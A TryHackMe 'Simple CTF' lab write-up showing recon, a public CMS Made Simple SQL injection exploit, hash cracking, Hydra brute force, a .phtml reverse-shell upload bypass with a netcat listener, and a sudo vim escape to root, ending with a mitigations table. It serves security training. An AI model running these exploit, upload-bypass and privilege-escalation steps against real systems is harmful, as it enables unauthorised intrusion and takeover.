Platform: TryHackMe · Difficulty: Easy · Category: CMS SQLi / Upload Filter Bypass / GTFOBins
Introduction
Simple CTF tells you exactly how complicated things are going to get right there in the name. Three services, one username left in a plaintext note on an anonymous FTP server, a CMS running a publicly known SQL injection vulnerability, and a sudo rule so generous it might as well be a signed permission slip to root. The only thing standing between www-data and a proper shell was a file upload filter that had apparently never heard of .phtml. Simple indeed.
Recon
Three ports this time — more interesting than the usual two.
Full-range sweep, Nmap handling service and version detection:
rustscan -a 10.49.168.253 -r 1-65535 --ulimit 5000 -- -Pn -sC -sV
| Port | Service | Version |
|---|---|---|
| 21/tcp | FTP | vsftpd 3.0.3 — anonymous login allowed |
| 80/tcp | HTTP | Apache httpd 2.4.18 (Ubuntu) |
| 2222/tcp | SSH | OpenSSH 7.2p2 Ubuntu |
Two things stand out immediately. First, Nmap flags anonymous FTP login as allowed — that's a free credential bypass that demands immediate attention. Second, SSH is running on port 2222 rather than the standard 22, which is a common "security by obscurity" measure that obscures nothing from a full port scan.
Nmap also picks up something valuable from robots.txt on port 80:
http-robots.txt: 2 disallowed entries
/ /openemr-5_0_1_3
The robots.txt is trying to hide a specific path — a medical records software installation. This turned out to be a distraction; the actual target CMS was at /simple/ discovered during directory enumeration.
The anonymous FTP flag from Nmap is too good to ignore. FTP passive mode timed out immediately, requiring a manual switch before directory listing would respond.
ftp 10.49.168.253
Name: anonymous
230 Login successful.
ftp> passive
Passive mode: off; fallback to active mode: off.
ftp> ls
drwxr-xr-x 2 ftp ftp 4096 Aug 17 2019 pub
ftp> cd pub
ftp> ls
-rw-r--r-- 1 ftp ftp 166 Aug 17 2019 ForMitch.txt # ^^^ jackpot
ftp> get ForMitch.txt
# ForMitch.txt contents
Dammit man... you're the worst dev I've seen. You set the same pass for
the system user, and the password is so weak... I cracked it in seconds.
Gosh... what a mess!
Username: mitch. Password: unknown but weak enough to crack in seconds — rockyou.txt territory. Also critically: the note says the system user password is the same as whatever other account this refers to, meaning one cracked password likely opens multiple doors.
Feroxbuster with PHP, TXT, and HTML extensions:
feroxbuster -u http://10.49.168.253/ \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
-x php,txt,html
# output (relevant hits only)
200 http://10.49.168.253/robots.txt
301 http://10.49.168.253/simple # ^^^ CMS installation
200 http://10.49.168.253/simple/index.php
302 http://10.49.168.253/simple/admin/index.php => login.php
200 http://10.49.168.253/simple/admin/login.php
The /simple/ directory hosts a full CMS Made Simple installation. The footer of the site reveals the version: CMS Made Simple 2.2.8.
Foothold
CMS Made Simple versions prior to 2.2.10 contain an unauthenticated time-based blind SQL injection in the News module via the m1_idlist parameter. An attacker can exploit this to enumerate the database without any credentials, extracting usernames, email addresses, password hashes, and salts directly from the CMS database.
The exploit is available on Exploit-DB as EDB-46635. It's a Python 2 script, which required a small amount of dependency wrestling before it would run cleanly — termcolor needed to be grabbed manually since the pip2 ecosystem has largely collapsed.
curl -s https://raw.githubusercontent.com/termcolor/termcolor/1.1.0/termcolor.py \
-o termcolor.py
python2 46635.py -u http://10.49.168.253/simple
# output
[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
The hash format is md5($salt.$pass) — a salted MD5, Hashcat mode 20.
echo "0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2" > target_hash.txt
hashcat -m 20 -a 0 target_hash.txt /usr/share/wordlists/rockyou.txt
# output
0c01f4468bd75d7a84c7eb73846e8d96:1dac0d92e9fa6bb2:secret
Status: Cracked
Hash.Mode: 20 (md5($salt.$pass))
Time.Started: Sat Jun 6 18:31:51 2026 (0 secs) # ^^^ instant
Password: secret. The note from the FTP server was not exaggerating.
| Username | Password | Where Found |
|---|---|---|
mitch |
secret |
SQLi extraction → Hashcat crack |
Shell / Access
With credentials in hand, logging into the CMS admin panel at /simple/admin/login.php confirmed mitch:secret works. The CMS is running as a relatively low-privilege web user, so the admin panel itself isn't the end goal — it's a means to upload a reverse shell.
Hydra was also used to independently confirm the credentials via brute force:
hydra -l mitch -P /usr/share/wordlists/rockyou.txt 10.49.168.253 \
http-post-form \
"/simple/admin/login.php:username=^USER^&password=^PASS^&loginsubmit=Submit:User name or password incorrect"
# output
[80][http-post-form] host: 10.49.168.253 login: mitch password: secret
1 of 1 target successfully completed
The CMS admin panel includes a file manager with upload functionality. Uploading a standard .php reverse shell (PentestMonkey's php-reverse-shell.php) was blocked — the application maintains an allowlist of safe extensions and rejects anything not on it.
Web applications often try to prevent malicious file uploads by checking the file extension. Allowlist approaches are more robust but this CMS's filter failed to account for alternative PHP execution extensions that Apache will still process as PHP code. .phtml is one such extension.
cp php-reverse-shell.php php-reverse-shell.phtml
The .php.jpg double-extension trick was attempted first and failed — the server correctly identified it as non-image. .phtml uploaded cleanly and executed.
nc -nlvp 4444
Navigating to the uploaded file via the CMS uploads directory to trigger execution.
# reverse shell callback
connect to [192.168.133.233] from (UNKNOWN) [10.49.168.253] 50196
uid=33(www-data) gid=33(www-data) groups=33(www-data)
python -c 'import pty; pty.spawn("/bin/bash")'
We're in as www-data. The home directories for mitch and sunbath are both permission-denied from this account — but we already have the SSH password. The note said the system user password matches. Port 2222, credentials mitch:secret:
ssh mitch@10.49.168.253 -p 2222
# output
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-58-generic i686)
$ whoami
mitch
$ cat user.txt
G00d j0b, keep up!
Escalation
The first thing to check after landing a user shell: what can this user run as root?
sudo -l
User mitch may run the following commands on Machine:
(root) NOPASSWD: /usr/bin/vim
vim is a text editor — but it's also a fully-featured scripting environment that can execute arbitrary shell commands. GTFOBins documents dozens of editors, interpreters, and utilities that can be abused to escape to a shell when granted sudo access. The :! command in vim runs a shell command directly. When vim is running as root (via sudo), that shell command runs as root too.
sudo vim -c ':!/bin/sh'
# output — root shell
# whoami
root
# cat /root/root.txt
W3ll d0n3. You made it!
Exploitation — The Full Chain
-
Anonymous FTP exposed
ForMitch.txt→ learned usernamemitchand that his password is reused and weak - CVE-2019-9053 (CMS Made Simple SQLi) → extracted salted MD5 hash from the database
-
Hashcat cracked
md5($salt.$pass)→ plaintext passwordsecret -
.phtmlupload bypass → reverse shell aswww-data -
SSH with cracked credentials → proper user shell as
mitch -
sudo vimGTFOBins escape → root shell in one command
Rabbit Holes
openemr-5_0_1_3 in robots.txt. Nmap flagged a disallowed entry in robots.txt pointing to an OpenEMR installation path. OpenEMR is medical records software with its own public CVEs. This appeared to be a decoy path — the directory did not return a valid response and no actual OpenEMR installation was present. Following it up cost a few minutes of investigation.
.php.jpg double extension. The first upload bypass attempt used a double extension (php-reverse-shell.php.jpg), a common trick against naive filters that only check the last extension. The server's upload handler checked the full filename and identified it as non-image. Dropping back to .phtml as a single extension resolved it immediately.
Python 2 / pip2 dependency hell. The EDB-46635 exploit is Python 2 only and imports termcolor. Attempting to install termcolor via pip2 failed due to Python 2's end-of-life package ecosystem breaking setuptools. The fix was fetching the termcolor.py module source file directly from GitHub and dropping it in the same directory as the exploit — no package manager involved.
Flags
| Flag | Value | Location |
|---|---|---|
| User | G00d j0b, keep up! |
/home/mitch/user.txt |
| Root | W3ll d0n3. You made it! |
/root/root.txt |
Mitigations
| Vulnerability | Severity | Mitigation |
|---|---|---|
| Anonymous FTP with sensitive data | High | Disable anonymous FTP; never store credential hints or usernames on publicly accessible services |
| CMS Made Simple 2.2.8 (CVE-2019-9053) | Critical | Update to CMS Made Simple 2.2.10+; keep CMS software patched |
Weak password (secret) |
Critical | Enforce a minimum password complexity policy; use a password manager |
| Password reuse across CMS and system account | High | Use unique passwords for every service and account |
| File upload filter — extension allowlist incomplete | High | Explicitly allowlist only safe, non-executable extensions; deny everything else; additionally validate file content (magic bytes), not just the name |
sudo vim with NOPASSWD
|
Critical | Never grant sudo access to editors, interpreters, or scripting tools; if vim access is needed, restrict it to specific files with sudoedit
|
Key Takeaway
Granting sudo access to any program that can run arbitrary commands — editors, interpreters, pagers, file transfer tools — is functionally equivalent to granting unrestricted root access. Always check GTFOBins before adding anything to a sudoers file.
Room: TryHackMe — Simple CTF
Top comments (0)